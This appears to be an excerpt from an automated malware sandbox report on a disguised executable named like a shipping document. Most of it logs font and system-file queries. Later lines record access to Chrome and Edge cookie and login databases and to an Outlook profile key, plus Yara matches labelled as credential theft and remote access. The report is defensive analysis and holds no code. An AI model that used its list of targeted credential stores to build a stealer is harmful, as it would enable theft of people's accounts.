Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\control.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
